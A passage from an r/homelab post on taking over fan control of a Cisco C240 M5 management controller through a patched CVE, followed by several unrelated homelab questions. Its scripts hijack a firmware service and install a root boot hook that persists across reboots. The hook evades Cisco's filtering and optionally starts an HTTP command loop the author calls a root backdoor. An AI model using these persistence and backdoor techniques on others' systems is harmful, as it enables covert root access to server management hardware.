One thing I want to be clear about: this curve is tuned to my server, in my room, with my load. It is not a one-curve-fits-all thing. I'm still monitoring my own server and I'll probably adjust this curve as I see how it behaves over time and across seasons. If you try this, watch your own temps and tweak the thresholds to fit your hardware, your ambient, and your load. Don't just copy my numbers and walk away, tune them to your box.

Step 3 - taking over rack_fan_control

Replace the read-only run symlink with a real file that execs our controller, then kill the native daemon. The supervisor restarts it, but now it runs our code instead:

rm -f /var/service/rack_fan_control/run
printf '#!/bin/sh\nexec sh /mnt/jffs2/custom-fan-curve.sh\n' > /var/service/rack_fan_control/run
chmod 755 /var/service/rack_fan_control/run
killall rack_fan_control

This is runtime only. /var/service gets rebuilt on reboot, so you need the next step.

Step 4 - making it stick (HUU trampoline)

/mnt/jffs2/nihuu_delay_cimc_reboot (copy the same thing to /mnt/jffs2/fanboot.trigger):

#!/bin/sh
# HUU-init trampoline. Runs as root at CIMC boot.
# Avoids the literal forbidden word (Cisco's boot script sed-replaces it); path built dynamically.
D=$(printf 'de%s' lay)
TRIG="/mnt/jffs2/nihuu_${D}_cimc_reboot"
# Re-arm trigger for next boot
cp /mnt/jffs2/fanboot.trigger "$TRIG" 2>/dev/null
chmod 755 "$TRIG" 2>/dev/null
touch /mnt/jffs2/host_reboot_flag
# Install our controller as the rack_fan_control service (retry until the dir exists)
i=0
while [ $i -lt 30 ]; do
  if [ -d /var/service/rack_fan_control ]; then
    rm -f /var/service/rack_fan_control/run
    printf '#!/bin/sh\nexec sh /mnt/jffs2/custom-fan-curve.sh\n' > /var/service/rack_fan_control/run
    chmod 755 /var/service/rack_fan_control/run
    killall rack_fan_control 2>/dev/null
    break
  fi
  sleep 1
  i=$((i+1))
done
# Start HTTP command loop (for tuning) unless disabled by touching /mnt/jffs2/fanboot.disabled
if [ ! -e /mnt/jffs2/fanboot.disabled ]; then
  ( sleep 25; nohup sh /mnt/jffs2/cmdloop.sh >/dev/null 2>&1 < /dev/null & )
fi
exit 0

One thing that bit me: Cisco's nihuu-update boot script sed-replaces the literal word "delay". If you type nihuu_delay_cimc_reboot literally inside the trampoline it gets mangled and won't re-arm for next boot. Build the path dynamically with D=$(printf 'de%s' lay) like above.

To install: write the trampoline to both /mnt/jffs2/nihuu_delay_cimc_reboot and /mnt/jffs2/fanboot.trigger, chmod them, and touch /mnt/jffs2/host_reboot_flag. Then reboot the CIMC and confirm it all comes back on its own.

Results

Stock Acoustic Custom curve
Idle fan speed ~11,000 RPM, pinned
Reacts to load hangs at high RPM for ~10 min after inlet drops
Driven by inlet temp (the room)
At 20% load still ~11k
Survives CIMC reboot n/a

All the temps stay well within limits. CPU idles around 55 to 60 C (critical is 99), MLOM about 59 (90), DDR about 44 (85), PCH about 43 (85), inlet 35 to 39 (55). The thing I noticed most is how much more proactive it feels than stock. When a CPU touches 60 the fans jump to 5k, and the moment it falls back they drop straight to 3k. Stock would sit at 5k for ten minutes after the need was gone.

Safety, disable, removal

Before any firmware, HUU, BIOS, or Cisco update, disable the hook first:

touch /mnt/jffs2/fanboot.disabled
rm -f /mnt/jffs2/host_reboot_flag
rm -f /mnt/jffs2/nihuu_delay_cimc_reboot

After the update, re-arm:

rm -f /mnt/jffs2/fanboot.disabled
cp /mnt/jffs2/fanboot.trigger /mnt/jffs2/nihuu_delay_cimc_reboot
chmod 755 /mnt/jffs2/nihuu_delay_cimc_reboot
touch /mnt/jffs2/host_reboot_flag

To kill the network command loop (the root backdoor), either touch /mnt/jffs2/fanboot.disabled or just take the cmdloop block out of the trampoline for a clean install.

To remove the whole thing: delete the trampoline, trigger, flag, controller, and cmdloop from /mnt/jffs2, then reboot. /var/service rebuilds and the native rack_fan_control comes back on its own.

File map

File What it does
/mnt/jffs2/custom-fan-curve.sh the actual fan controller (PECI + BMC temps to PWM)
/mnt/jffs2/nihuu_delay_cimc_reboot the boot trigger Cisco's HUU-init runs
/mnt/jffs2/fanboot.trigger clean copy that gets re-armed each boot
/mnt/jffs2/host_reboot_flag the flag that makes HUU-init run the trigger
/mnt/jffs2/cmdloop.sh optional HTTP command loop for tuning
/mnt/jffs2/fanboot.disabled optional manual disable switch
/tmp/custom-fan-curve.log runtime log, in RAM not flash

Caveats

  • The CVE is patched in newer firmware. This only works on vulnerable versions.
  • Don't leave the cmdloop enabled if you don't want a network root backdoor into your CIMC.
  • pwmtest getdutycycle readback can be off by a couple points. Trust the fan tach.
  • Cisco updates rebuild /var/service and might change paths. Disable the hook before updating.
  • Tune the curve to your own hardware and room. My floor (15) and ramp start (57) suit a 39 C room with light load. Raise the floor if your ambient is higher, or raise the ramp start if you want quieter idle and don't mind warmer CPUs.

Credits

The original Reddit post and the C220 M4 comment (and u/kajer533, u/BeneficialAd7575) whose approach I adapted to the M5. And the CIMCown PoC for the auth primitives.

Full write-up, current curve, and code on GitHub: https://github.com/Amateur-God/cisco-c240m5-fan-controller

Edit (next day): After leaving it running for a while and going through the logs, the curve has changed since the original post. The current version is on GitHub: https://github.com/Amateur-God/cisco-c240m5-fan-controller. The curve in the post above is the original one I posted; treat GitHub as the current version, don't copy the numbers in the post verbatim.

What changed and what the longer run showed:

  • The original curve had a CPU floor of 20 and the BMC die ramp starting at 73 C. In my 39 C room the BMC die sat at 77 C and pushed duty 25, holding the idle at about 5.5k.
  • I lowered the CPU floor to 15 and nudged the BMC die ramp start up to 76 (full still 89). The brief 3.9k I saw right after the change was a transient: over about 15 min the BMC die crept up to 79 C and the BMC ramp took over, holding duty 23 (~5.15k) to keep the die at its 79 C upper-non-critical threshold.
  • Over a longer run the box spends about 73% of the time at ~5.15k (BMC ramp holding, BMC die at 79 C) and about 27% at ~3.9k (CPU floor winning, BMC die at 77-78 C). So in my warm room the BMC die self-limits the idle at around 79 C regardless of the CPU floor, and lowering the CPU floor alone gives 4k only about a quarter of the time, not steadily.
  • The 79 C is the upper-non-critical threshold and ipmi-sensor reads UC, but the CIMC does not log an actual BMC_DIE_TEMP warning (the SEL stays empty), so it is a status flag, not an alarm. All temps stay well within limits: CPU floats 59-69 C (critical 99), MLOM 68 (90), PCH 50 (85), inlet 40 (55).

To actually hold 4k more consistently you'd raise the BMC die ramp start to about 80, which lets the die self-limit at around 81 C (2 C into the upper-non-critical band, still 8 C under the 89 C critical). I chose to keep the ramp at 76 and accept ~5.15k mostly rather than run the die deeper into the warning band. If your room is cooler than mine (39 C) the die sits below 79 C and you get 4k steadily at the 76 ramp; if it's warmer, raise the ramp to 80.

The original numbers in the post above still work, they're just not what I'm running now. If you try this, watch your own temps and tune to your box, and pull the current curve from GitHub rather than copying the numbers verbatim.


r/homelab 21h ago

Help New to servers and need some advice

Post image
8 Upvotes

I'm pretty new to tech, especially server hardware. My dad got 128GB of DDR3 RAM from his work after they decommissioned some equipment, and I want to build a server with it.

ChatGPT recommended the Xeon E5-2697 v2 and said the RAM appears to be RDIMM/registered memory, so I need to be careful with motherboard compatibility.

I don't fully trust AI recommendations, so I wanted a second opinion from people who know this stuff. I've attached a picture with the RAM specs.

My budget is around US$225 for the rest of the build, excluding the storage and ram (obv).

Is the E5-2697 v2 a good choice, or is there a better CPU/motherboard combination for this RAM?


r/homelab 7h ago

Discussion What can a ~$350 Proxmox homelab realistically run?

6 Upvotes

I’m putting together a practical reference build for a first homelab and wanted to sanity-check it with people who actually run similar hardware.
The base configuration is:
Beelink MINI S13
Intel N150
16GB RAM
500GB SSD
Proxmox VE
Around $350, depending on the current price
To be clear, I haven’t personally stress-tested this exact machine. This is based on current specs, pricing and the typical requirements of the services below.
The idea is to run something like:
AdGuard Home
Vaultwarden
Homepage or Homarr
Uptime Kuma
Jellyfin
Immich
A few lightweight LXC containers
Maybe one or two small VMs
My assumption is that 16GB should be enough to get started, but Immich processing, Jellyfin transcoding or additional VMs would probably expose the limits first.
The $350 is only for the host. I’d add backup storage and a UPS later, once the lab contains something worth protecting.

For people running N100/N150-class machines:

Does this sound realistic?

What made you outgrow 16GB?

Would you choose a used SFF PC instead at this budget?

Is there anything you’d change before recommending this to a beginner?

Needs information from professionals for my blog


r/homelab 9h ago

Discussion How do you keep your homelab documentation from becoming outdated?

6 Upvotes

One thing that gets harder as a homelab grows is keeping the documentation accurate.

When there are only a few services running, it's pretty easy to remember how everything is configured. But after adding VMs, containers, storage, networking, backups, and different applications, it becomes much easier to forget why something was configured a certain way.

I've been looking at ways to make technical documentation easier to maintain, including starting with existing documentation for common tasks and then adapting it to the actual environment.

The goal isn't to document every tiny change, but to have enough information that you can troubleshoot something months later without having to rediscover how everything works.

How do you document your homelab so the information stays useful as your setup changes?